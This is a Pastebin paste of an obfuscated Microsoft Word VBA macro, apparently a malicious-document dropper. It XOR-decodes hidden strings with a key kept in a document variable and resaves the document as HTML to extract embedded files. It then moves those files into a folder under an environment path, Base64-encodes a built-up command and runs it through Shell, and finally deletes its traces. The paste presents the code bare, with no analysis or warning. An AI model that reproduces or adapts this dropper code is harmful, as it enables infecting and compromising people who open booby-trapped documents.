SHARE
TWEET

Untitled

a guest Oct 19th, 2019 92 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Private Function decoder(inarray As Variant, hJNUOrGdnl As Integer)
  2. Dim result, totovalue As String, JrCXWNPupO, pKANyxqYUM
  3. totovalue = ActiveDocument.Variables("zmZkpC").Value()
  4. result = ""
  5. JrCXWNPupO = 1
  6. While JrCXWNPupO < UBound(inarray) + 2
  7. pKANyxqYUM = JrCXWNPupO Mod Len(totovalue): If pKANyxqYUM = 0 Then pKANyxqYUM = Len(totovalue)
  8. result = result + Chr(Asc(Mid(totovalue, pKANyxqYUM + hJNUOrGdnl, 1)) Xor CInt(inarray(JrCXWNPupO - 1)))
  9. JrCXWNPupO = JrCXWNPupO + 1
  10. Wend
  11. decoder = result
  12. End Function
  13. Function KZKxZoAumWbVNr(ByVal sText)
  14. With CreateObject(decoder(Array(11, 61, 46, 91, 60, 5, 104, 35, 30, 28, 117, 46, 34, 77, 27, 38, 55, 68), 312)).CreateElement(decoder(Array(8, 63, 17), 290))
  15. .DataType = decoder(Array(91, 91, 35, 87, 27, 6, 54, 44, 76, 88), 0)
  16. .NodeTypedValue = RrMmLAtymFPXYO(sText, decoder(Array(67, 24, 50, 84, 70, 124, 47, 83), 54), 2)
  17. KZKxZoAumWbVNr = .Text
  18. End With
  19. End Function
  20. Function RrMmLAtymFPXYO(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)
  21. With CreateObject(decoder(Array(10, 46, 32, 7, 54, 84, 37, 7, 32, 10, 57, 57), 185))
  22. .Type = 2
  23. .Charset = sTextEncoding
  24. .Open
  25. .WriteText sText
  26. .Position = 0
  27. .Type = 1
  28. .Position = iBomByteCount
  29. RrMmLAtymFPXYO = .Read
  30. .Close
  31. End With
  32. End Function
  33. Function sImSlPDpIEAujGaOle()
  34. FileName = ActiveDocument.FullName
  35. first5letter = Left(ActiveDocument.Name, Len(ActiveDocument.Name) - 5)
  36. BJVnOtfIDyCUIWs = Environ(decoder(Array(55, 13, 9, 31), 29)) & decoder(Array(59), 330)
  37. LsFeYXDzWBeCaCrq = BJVnOtfIDyCUIWs
  38. first5letteralt = first5letter
  39. On Error Resume Next
  40. Kill BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(8, 51, 80, 10, 22, 61, 14, 101), 145)
  41. RmDir BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(57, 50, 95, 8, 39, 60), 179)
  42. ActiveDocument.Save
  43. ActiveDocument.SaveAs2 FileName:=saveLocaton & first5letteralt & decoder(Array(127, 44, 0, 88, 84), 285), _
  44. FileFormat:=wdFormatHTML
  45. Dim rQeH As Object
  46. Set rQeH = CreateObject(decoder(Array(38, 17, 29, 34, 9, 30, 7, 13, 22, 64, 118, 35, 4, 20, 3, 22, 33, 49, 52, 14, 56, _
  47. 83, 35, 38, 25, 67), 153))
  48. rQeH.MoveFile Source:=saveLocaton & first5letteralt & decoder(Array(60, 46, 10, 38, 84, 17, 10, 16, 52, 14, 20, 50, 8, 104, 126, 89, 18, 0, 9), 293), Destination:=LsFeYXDzWBeCaCrq & decoder(Array(6, 42, 16, 85, 2, 92, 82, 89, 95, 6, 95, 86), 109)
  49. rQeH.MoveFile Source:=saveLocaton & first5letteralt & decoder(Array(60, 39, 90, 21, 87, 1, 36, 88, 59, 39, 44, 20, 113, 102, 6, 103, 62, 60, 43), 10), Destination:=LsFeYXDzWBeCaCrq & decoder(Array(28, 25, 22, 54, 17, 5, 115, 100, 116, 29, 56, 3), 133)
  50. rQeH.MoveFile Source:=saveLocaton & first5letteralt & decoder(Array(13, 1, 34, 91, 49, 41, 10, 56, 2, 34, 33, 22, 98, 123, 102, 72, 27, 20, 83), 33), Destination:=LsFeYXDzWBeCaCrq & decoder(Array(60, 88, 50, 62, 19, 104, 113, 84, 74, 28, 10, 29), 121)
  51. SwbCYBeCtP = decoder(Array(0, 48, 34, 70, 87, 70, 122, 13, 68, 93, 39, 4, 28, 53, 14, 0, 108, 42, 87, 80, 101, _
  52. 38, 31, 17, 54, 105, 100, 25, 65, 31, 63, 3, 45, 2, 21, 37, 13, 58, 85, 67, 85, _
  53. 33, 61, 61, 56, 18, 34, 30, 35, 52, 80, 65, 57, 20, 44, 76, 14, 101, 34, 84, 20, _
  54. 90, 21, 11, 66, 45, 23, 15, 119, 39, 48, 11, 24, 59, 45, 46, 24, 21, 62, 31, 40, _
  55. 20, 23, 16, 103), 197) & LsFeYXDzWBeCaCrq
  56. DWcvEAhpQB = decoder(Array(6, 42, 16, 85, 2, 92, 82, 89, 95, 6, 95, 86), 109)
  57. AkolrbpOYg = decoder(Array(26), 52)
  58. dtycJfacmH = decoder(Array(91, 124, 21, 11, 4, 7, 78, 6, 18, 21, 29, 21, 59, 116, 67, 122, 101, 102, 89, 79, 66, _
  59. 119, 99, 84, 94, 4, 87, 77, 41, 14, 0, 93, 86, 51, 28, 107, 101, 10, 111, 48, 3, _
  60. 103, 85, 88, 127, 89, 72, 94, 76, 80, 66, 46, 117, 63, 119, 17, 3, 127, 31, 32, 25, _
  61. 34, 56, 63, 10, 33, 69, 119, 27, 85, 80, 44, 80, 84, 84, 1, 12, 23, 38, 28, 86, _
  62. 104, 112, 90, 123, 104, 32, 36, 116, 98, 62, 91, 81, 68, 36, 12, 81, 91, 20, 57, 55, _
  63. 62, 25, 122, 120, 93, 50, 127, 55, 91, 23, 86, 10, 21, 67, 67, 16, 78, 66, 110, 83, _
  64. 106, 35, 57, 35, 66, 119, 50, 79, 13, 103, 35, 48, 3, 50, 88, 64, 92, 81, 30, 41, _
  65. 118, 109, 32, 74, 46, 46, 74, 32, 7, 39, 1, 31, 91, 119, 48, 116, 63, 71, 60, 102, _
  66. 29, 69, 45, 9, 6, 89, 3, 80, 20, 21, 31, 47, 36, 16, 26, 8, 24, 47, 0, 28, _
  67. 99, 111, 8, 99, 42, 1, 33, 123, 49, 44, 17, 10, 49, 58, 90, 86, 81, 106, 22, 8, _
  68. 25, 95, 76, 104, 66, 101, 6, 50, 95, 76), 331)
  69. ydUCerRbMq = SwbCYBeCtP & DWcvEAhpQB & AkolrbpOYg & dtycJfacmH
  70. YioSkwYfLrZ = KZKxZoAumWbVNr(ydUCerRbMq)
  71. Dim HJszgKdEheuyQ
  72. HJszgKdEheuyQ = Shell(decoder(Array(59, 4, 21, 4, 55, 9, 41, 53, 57, 38, 112, 116, 29, 24, 59, 37, 56, 63, 41, 60, 53, _
  73. 10, 10, 89, 41, 1, 82, 84, 51, 93, 115, 92, 44, 22, 59, 58, 87, 40, 20, 7, 44, _
  74. 92, 2, 82, 27, 11, 100), 62) & YioSkwYfLrZ, 1)
  75. On Error Resume Next
  76. Kill BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(8, 51, 80, 10, 22, 61, 14, 101), 145)
  77. RmDir BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(57, 50, 95, 8, 39, 60), 179)
  78. Word.Application.Visible = True
  79. Word.Application.Activate
  80. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top